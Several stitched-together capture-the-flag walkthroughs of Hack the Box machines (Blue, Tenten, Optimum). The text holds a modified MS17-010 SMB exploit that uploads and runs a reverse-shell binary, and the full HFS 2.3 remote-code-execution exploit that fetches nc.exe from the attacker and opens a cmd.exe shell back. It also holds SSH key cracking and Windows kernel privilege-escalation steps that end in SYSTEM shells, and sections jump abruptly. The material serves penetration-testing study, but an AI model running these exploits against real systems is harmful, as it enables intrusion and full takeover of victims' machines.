if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
# try with hack offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
# still no good. Abort because something is wrong
if not success:
print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD')
sys.exit()
# token parsed and validated
return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)
smb_send_file(smbConn, '/root/htb/blue/puckieshell443.exe', 'C', '/puckieshell443.exe')
service_exec(conn, r'cmd /c c:\\puckieshell443.exe')
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
with open(localSrc, 'rb') as fp:
smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
# based on impacket/examples/serviceinstall.py
# Note: using Windows Service to execute command same as how psexec works
def service_exec(conn, cmd):
import random
import string
from impacket.dcerpc.v5 import transport, srvs, scmr
service_name = ''.join([random.choice(string.letters) for i in range(4)])
# Setup up a DCE SMBTransport with the connection already in place
rpcsvc = conn.get_dce_rpc('svcctl')
rpcsvc.connect()
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
svcHandle = None
try:
print("Opening SVCManager on %s....." % conn.get_remote_host())
resp = scmr.hROpenSCManagerW(rpcsvc)
svcHandle = resp['lpScHandle']
# First we try to open the service in case it exists. If it does, we remove it.
try:
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
except Exception as e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
raise e # Unexpected error
else:
# It exists, remove it
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
print('Creating service %s.....' % service_name)
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
serviceHandle = resp['lpServiceHandle']
if serviceHandle:
# Start service
try:
print('Starting service %s.....' % service_name)
scmr.hRStartServiceW(rpcsvc, serviceHandle)
# is it really need to stop?
# using command line always makes starting service fail because SetServiceStatus() does not get called
#print('Stoping service %s.....' % service_name)
#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
except Exception as e:
print(str(e))
print('Removing service %s.....' % service_name)
scmr.hRDeleteService(rpcsvc, serviceHandle)
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
except Exception as e:
print("ServiceExec Error on: %s" % conn.get_remote_host())
print(str(e))
finally:
if svcHandle:
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
rpcsvc.disconnect()
if len(sys.argv) < 2:
print("{} <ip> [pipe_name]".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
pipe_name = None if len(sys.argv) < 3 else sys.argv[2]
exploit(target, pipe_name)
print('Done')
root@kali:/opt/MS
It is now possible to run zzz_exploit.py . A named pipe is required to execute the script, and in
this case ntsvcs works just fine.
root@kali:/opt/MS17-010# python zzz_exploit.py 10.10.10.40 ntsvcs
Target OS: Windows 7 Professional 7601 Service Pack 1
Target is 64 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xfa0
CONNECTION: 0xfffffa80020a5840
SESSION: 0xfffff8a008c3b8e0
FLINK: 0xfffff8a0092a5088
InParam: 0xfffff8a00929f15c
MID: 0x3908
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
creating file c:\pwned.txt on the target
Opening SVCManager on 10.10.10.40.....
Creating service niun.....
Starting service niun.....
The NETBIOS connection with the remote host timed out.
Removing service niun.....
ServiceExec Error on: 10.10.10.40
nca_s_proto_error
Done
Catch it with netcat listener
root@kali:/opt/MS17-010# nc -lvp 443
listening on [any] 443 ...
connect to [10.10.14.11] from haris-pc [10.10.10.40] 49162
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
Today we are going to solve another CTF challenge “Tenten” which is available online for those who want to increase their skill in penetration testing and black box testing. Tenten is a retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level.
Level: Medium
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.10 so let’s begin with nmap port enumeration.
root@kali:~/htb/tenten# nmap -sC 10.10.10.10
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-11 20:21 CET
Nmap scan report for 10.10.10.10
Host is up (0.028s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 ec:f7:9d:38:0c:47:6f:f0:13:0f:b9:3b:d4:d6:e3:11 (RSA)
| 256 cc:fe:2d:e2:7f:ef:4d:41:ae:39:0e:91:ed:7e:9d:e7 (ECDSA)
|_ 256 8d:b5:83:18:c0:7c:5d:3d:38:df:4b:e1:a4:82:8a:07 (ED25519)
80/tcp open http
|_http-generator: WordPress 4.7.3
|_http-title: Job Portal – Just another WordPress site
Nmap done: 1 IP address (1 host up) scanned in 24.11 seconds
Knowing port 80 is open in victim’s network we preferred to explore his IP in the browser the page indicates that is a WordPress website.
Now we decided to use wpscan, on the URL that we have entered in the browser. To check if there are any kind of vulnerable themes, plugins etc.
Visit http://10.10.10.10/index.php/ and click on Job Listing and click on Apply .In the URL you’ll see the URL is http://10.10.10.10/index.php/jobs/apply/8/
We see there’s a number in the end. It is an ID from the wordpress mysql database.
root@kali:~/htb/tenten# python sshng2john.py id_rsa > id_rsa.encrypted
root@kali:~/htb/tenten# ls
id_rsa id_rsa.encrypted
Use john to get passphrase
root@kali:~/htb/tenten# john id_rsa.encrypted --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH-ng [RSA/DSA 32/64])
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
superpassword (id_rsa)
1g 0:00:00:30 DONE (2019-02-11 20:56) 0.03305g/s 474168p/s 474168c/s 474168C/s *7¡Vamos!
Session completed
SSH
root@kali:~/htb/tenten# chmod 600 id_rsa
root@kali:~/htb/tenten# ssh -i id_rsa takis@10.10.10.10
Enter passphrase for key 'id_rsa': superpassword
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
65 packages can be updated.
39 updates are security updates.
Last login: Mon Feb 11 21:56:45 2019 from 10.10.14.21
takis@tenten:~$ cat user.txt
e5c*****f31
takis@tenten:~$ strings /bin/fuckin
#!/bin/bash
$1 $2 $3 $4
takis@tenten:~$ sudo fuckin id
uid=0(root) gid=0(root) groups=0(root)
takis@tenten:~$ sudo fuckin cat /root/root.txt
f9f*****603
Today we are going to solve another CTF challenge called “Optimum” which is categorised as retired lab developed by Hack the Box for the purpose of online penetration practices. Solving this lab is not that tough if have proper basic knowledge of Penetration testing. Let’s start and learn how to breach it.
Level: Intermediate
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online, therefore they have static IP. The IP of optimum is 10.10.10.8 so let’s start with nmap port enumeration.
C:\Users\jacco>nmap -sC -sV 10.10.10.8
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-06 20:58 W. Europe Standard Time
Nmap scan report for 10.10.10.8
Host is up (0.026s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.50 seconds
root@kali:~/htb/optimum# cat rejetto-exploit.py
#!/usr/bin/python
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
# It's different from classic file sharing because it uses web technology to be more compatible with today's Internet.
# It also differs from classic web servers because it's very easy to use and runs "right out-of-the box". Access your remote files, over the network. It has been successfully tested with Wine under Linux.
#Usage : python Exploit.py <Target IP address> <Target Port Number>
#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe).
# You may need to run it multiple times for success!
import urllib2
import sys
try:
def script_create():
urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+save+".}")
def execute_script():
urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe+".}")
def nc_run():
urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe1+".}")
ip_addr = "10.10.14.20" #local IP address
local_port = "443" # Local Port number
vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"
save= "save|" + vbs
vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
exe= "exec|"+vbs2
vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port
exe1= "exec|"+vbs3
script_create()
execute_script()
nc_run()
except:
print """[.]Something went wrong..!
Usage is :[.] python exploit.py <Target IP address> <Target Port Number>
Don't forgot to change the Local IP address and Port number on the script"""
root@kali:~/htb/optimum#
We need to host netcat (http://attackers_ip:80/nc.exe) using a web server. and make sure we have changed the local IP and port inside the script and run:
root@kali:~/htb/optimum# nc -lvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.8.
Ncat: Connection from 10.10.10.8:49530.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is D0BC-0196
Directory of C:\Users\kostas\Desktop
15/04/2019 02:26 <DIR> .
15/04/2019 02:26 <DIR> ..
15/04/2019 03:34 <DIR> %TEMP%
18/03/2017 03:11 760.320 hfs.exe
18/03/2017 03:13 32 user.txt.txt
2 File(s) 760.352 bytes
3 Dir(s) 31.890.731.008 bytes free
C:\Users\kostas\Desktop>type user.txt.txt
type user.txt.txt
d0c*****f73
root@kali:/opt/Windows-Exploit-Suggester# apt-get install python-xlrd
Reading package lists... Done
root@kali:/opt/Windows-Exploit-Suggester# ./windows-exploit-suggester.py -d 2019-05-20-mssb.xls -i systeminfooptimum.txt
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2012 R2 64-bit'
[*]
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*] https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*] https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*] https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*]
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*] https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*]
--snip--
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[*] done
Privesc
C:\Users\kostas\Desktop>powershell -c "Invoke-WebRequest -Uri http://10.10.14.20/ms16-098.exe -OutFile C:\Users\kostas\Desktop\puck.exe"
powershell -c "Invoke-WebRequest -Uri http://10.10.14.15/41020.exe -OutFile C:\Users\kostas\Desktop\puck.exe"
C:\Users\kostas\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is D0BC-0196
Directory of C:\Users\kostas\Desktop
13/02/2019 06:43 ºú <DIR> .
13/02/2019 06:43 ºú <DIR> ..
13/02/2019 01:56 ºú <DIR> %TEMP%
18/03/2017 02:11 úú 760.320 hfs.exe
13/02/2019 06:44 ºú 560.128 puck.exe
18/03/2017 02:13 úú 32 user.txt.txt
6 File(s) 2.029.687 bytes
3 Dir(s) 31.859.699.712 bytes free
C:\Users\kostas\Desktop>puck.exe
puck.exe
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>whoami
whoami
nt authority\system
C:\Users\kostas\Desktop>type c:\users\administrator\desktop\root.txt
type c:\users\administrator\desktop\root.txt
51e*****eed